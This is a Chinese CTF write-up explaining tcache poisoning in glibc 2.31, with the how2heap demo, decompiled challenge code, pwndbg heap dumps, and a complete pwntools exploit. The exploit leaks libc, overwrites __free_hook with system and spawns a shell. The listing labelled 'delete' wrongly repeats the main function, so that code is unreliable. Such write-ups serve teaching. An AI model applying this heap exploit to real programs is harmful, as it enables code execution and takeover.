tcache攻击之tcache-poisoning
柳贯一 发表于 江西 二进制安全 231浏览 · 2024-11-13 23:43

tcache-poisoning攻击

tcache由于省略了很多安全保护机制,所以在pwn中的利用方式有很多,这篇文章我们首先介绍tcache poisoning这种利用方式。

tcache poisoning主要的利用手段是覆盖tcache中的next成员变量,由于tcache_get()函数没有对next进行检查,所以理论上来讲如果我们将next中的地址进行替换,不需要伪造任何chunk结构即可实现malloc到任何地址,算是tcache attack中比较简单的一种攻击方式。

how2heap中的tcache(glibc-2.31)

我们直接看c代码和运行的结果

#how2heap中的c代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
    // disable buffering
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
           "returning a pointer to an arbitrary location (in this case, the stack).\n"
           "The attack is very similar to fastbin corruption attack.\n");
    printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
           "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

    size_t stack_var;
    printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

    printf("Allocating 2 buffers.\n");
    intptr_t *a = malloc(128);
    printf("malloc(128): %p\n", a);
    intptr_t *b = malloc(128);
    printf("malloc(128): %p\n", b);

    printf("Freeing the buffers...\n");
    free(a);
    free(b);

    printf("Now the tcache list has [ %p -> %p ].\n", b, a);
    printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
           "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

    printf("1st malloc(128): %p\n", malloc(128));
    printf("Now the tcache list has [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("2nd malloc(128): %p\n", c);
    printf("We got the control\n");

    assert((long)&stack_var == (long)c);
    return 0;
}

我们再来看看编译之后的运行结果

This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.
After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,
We have to create and free one more chunk for padding before fd pointer hijacking.

The address we want malloc() to return is 0x7ffe77518a80.
Allocating 2 buffers.
malloc(128): 0xcf02a0
malloc(128): 0xcf0330
Freeing the buffers...
Now the tcache list has [ 0xcf0330 -> 0xcf02a0 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0xcf0330
to point to the location to control (0x7ffe77518a80).
Now the tcache list has [ 0xcf0330 -> 0x7ffe77518a80 ].
1st malloc(128): 0xcf0330
Now the tcache list has [ 0x7ffe77518a80 ].
2nd malloc(128): 0x7ffe77518a80
We got the control

大概的意思就是,再tcache的获取,也就是tcahce_get的过程中,glibc没有对tcache_bin->fd(next)进行检查,如果我们可以修改tcache_bin链表中的指向A的fd指针为指向target_addr,我们就可以获得target_addr的控制权

例题分析

主函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  initial(argc, argv, envp);
  while ( 1 )
  {
    menu();
    memset(s, 0, sizeof(s));
    read(0, s, 2uLL);
    switch ( atoi(s) )
    {
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      case 4:
        show();
        break;
      case 5:
        exit(0);
      default:
        continue;
    }
  }
}

add:

unsigned __int64 create()
{
  int i; // [rsp+8h] [rbp-18h]
  int v2; // [rsp+Ch] [rbp-14h]
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 15 && vec[i]; ++i )
    ;
  if ( i == 16 )
  {
    puts("FULL");
    exit(1);
  }
  puts("size: ");
  memset(s, 0, sizeof(s));
  read(0, s, 8uLL);
  v2 = atoi(s);
  if ( v2 <= 64 || v2 > 4096 )
  {
    puts("size err");
    exit(1);
  }
  vec[i] = malloc(v2);
  if ( !vec[i] )
  {
    puts("create err");
    exit(1);
  }
  return __readfsqword(0x28u) ^ v4;
}

delete:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  initial(argc, argv, envp);
  while ( 1 )
  {
    menu();
    memset(s, 0, sizeof(s));
    read(0, s, 2uLL);
    switch ( atoi(s) )
    {
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      case 4:
        show();
        break;
      case 5:
        exit(0);
      default:
        continue;
    }
  }
}

edit:

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx: ");
  memset(s, 0, sizeof(s));
  read(0, s, 3uLL);
  v1 = atoi(s);
  if ( v1 >= 0x10 )
  {
    puts("out");
    exit(1);
  }
  if ( vec[v1] )
  {
    puts("msg: ");
    read(0, (void *)vec[v1], 0x40uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}

show:

unsigned __int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx: ");
  memset(s, 0, sizeof(s));
  read(0, s, 3uLL);
  v1 = atoi(s);
  if ( v1 >= 0x10 )
  {
    puts("out");
    exit(1);
  }
  if ( vec[v1] )
  {
    puts("msg: ");
    write(1, (const void *)vec[v1], 0x40uLL);
  }
  return __readfsqword(0x28u) ^ v3;
}

程序中增删查改四个功能都有,存在uaf漏洞,而且可以申请到0x40-0x1000大小的chunk,我们便可以利用tcache-poisoning这种攻击方式

利用思路:

  1. 申请一个unsortedbin大小的一个chunk,free之后利用uaf漏洞去泄露libc基址
  2. 申请多个tcachebin大小的chunk,free两个之后修改链表尾部chunk的fd指针,指向我们需要控制的地方,比如free_hook
  3. 修改free_hook为system或者one_gadget来getshell

利用过程:

利用思路一:

add(0x438)
add(0x50)
add(0x50)
add(0x50)
dele(0)
show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

tcachebin会把0x410以内大小的bin放到tcachebin的链表中

所以我们申请一个0x438大小的chunk,free之后会先进入到unsorted bin中,后续的几个chunk是为了隔绝topchunk以及开展tcache-poisoning攻击

我们gdb看看

pwndbg> heap
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.

Allocated chunk | PREV_INUSE
Addr: 0x55cf3399b000
Size: 0x290 (with flag bits: 0x291)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55cf3399b290
Size: 0x440 (with flag bits: 0x441)
fd: 0x7f36524d6be0
bk: 0x7f36524d6be0

Allocated chunk
Addr: 0x55cf3399b6d0
Size: 0x60 (with flag bits: 0x60)

Allocated chunk | PREV_INUSE
Addr: 0x55cf3399b730
Size: 0x60 (with flag bits: 0x61)

Allocated chunk | PREV_INUSE
Addr: 0x55cf3399b790
Size: 0x60 (with flag bits: 0x61)

Top chunk | PREV_INUSE
Addr: 0x55cf3399b7f0
Size: 0x20810 (with flag bits: 0x20811)

可以看到unsortedbin的fd和bk指针都指向了main_arena附近的地址,这个地址相对于libc基址的偏移是固定的

利用unsortedbin来泄露libc也是堆题的常用手法之一

利用思路二:

dele(1)
dele(2)
dbg()
edit(2,p64(free_hook))
add(0x50)
add(0x50)

我们先来看看dele chunk1和chunk2之后,tcachebin的链表有什么内容

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55d3588c3000
Size: 0x290 (with flag bits: 0x291)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55d3588c3290
Size: 0x440 (with flag bits: 0x441)
fd: 0x7f003c708be0
bk: 0x7f003c708be0

Free chunk (tcachebins)
Addr: 0x55d3588c36d0
Size: 0x60 (with flag bits: 0x60)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55d3588c3730
Size: 0x60 (with flag bits: 0x61)
fd: 0x55d3588c36e0

Allocated chunk | PREV_INUSE
Addr: 0x55d3588c3790
Size: 0x60 (with flag bits: 0x61)

Top chunk | PREV_INUSE
Addr: 0x55d3588c37f0
Size: 0x20810 (with flag bits: 0x20811)

pwndbg> bin
tcachebins
0x60 [  2]: 0x55d3588c3740 —▸ 0x55d3588c36e0 ◂— 0x0
fastbins
empty
unsortedbin
all: 0x55d3588c3290 —▸ 0x7f003c708be0 ◂— 0x55d3588c3290
smallbins
empty
largebins
empty
pwndbg>

可以看到,后释放的chunk2的fd指针指向了先释放的chunk1+0x10处,链表处也产生了相应的变化

我们再看看把chunk2的fd指针改成__free_hook试试看

pwndbg> bin
tcachebins
0x60 [  2]: 0x556bb7836740 —▸ 0x7fb2a0190e48 (__free_hook) ◂— 0x0
fastbins
empty
unsortedbin
all: 0x556bb7836290 —▸ 0x7fb2a018ebe0 ◂— 0x556bb7836290
smallbins
empty
largebins
empty
pwndbg>

链表确实是指向了我们想要控制的__free_hook处

我们add一个0x50大小的chunk试试

pwndbg> bin
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.

tcachebins
0x60 [  1]: 0x7fe1cfad7e48 (__free_hook) ◂— 0x0
fastbins
empty
unsortedbin
all: 0x55cfe8252290 —▸ 0x7fe1cfad5be0 ◂— 0x55cfe8252290
smallbins
empty
largebins
empty
pwndbg>

tcachebin的链表里面只有__free_hook一项内容,我们再add一个0x50大小的chunk,并尝试修改内容为aaaa

tcachebins
empty
fastbins
empty
unsortedbin
all: 0x55d4e3647290 —▸ 0x7fb5208dbbe0 ◂— 0x55d4e3647290
smallbins
empty
largebins
empty
pwndbg>

链表内已经空了

pwndbg> p &__free_hook
$1 = (<data variable, no debug info> *) 0x7fb5208dde48 <__free_hook>
pwndbg> tele 0x7fb5208dde48
00:0000│  0x7fb5208dde48 (__free_hook) ◂— 0x61616161 /* 'aaaa' */
01:0008│  0x7fb5208dde50 (__malloc_initialize_hook) ◂— 0x0
... ↓     6 skipped
pwndbg>

而__free_hook处的内容已经被我们修改为了aaaa

tcache-poisoning攻击成功,接下来只需要把_free_hook处的内容改为system或者one_gadget即可

exp

from pwn import *
p=process('./pwn')
libc=ELF('./libc-2.31.so')
elf=ELF('./pwn')
def menu(idx):
    p.sendafter("choice > ",str(idx))

def add(size):
    menu(1)
    p.sendafter("size: ",str(size))

def dele(idx):
    menu(2)
    p.sendafter("idx: ",str(idx))

def edit(idx,content):
    menu(3)
    p.sendafter("idx: ",str(idx))
    p.sendafter("msg: ",content)

def show(idx):
    menu(4)
    p.sendafter("idx: ",str(idx))


def dbg():
    gdb.attach(p)
    pause()

add(0x438)
add(0x50)
add(0x50)
add(0x50)
dele(0)
show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']

print(hex(free_hook))
og=[0xe3afe,0xe3b01,0xe3b04]
ogs=libc_base+og[0]
dele(1)
dele(2)
edit(2,p64(free_hook))
add(0x50)
add(0x50)
edit(5,p64(system))
edit(1,b'/bin/sh\x00')
dele(1)
p.send("cat flag")

p.interactive()

总结

tcache-poisoning是比较简单的一种攻击方式,和低版本的攻击差不多,但是学习之后可以对tcache的获取,释放等机制有更多的了解

0 条评论
某人
表情
可输入 255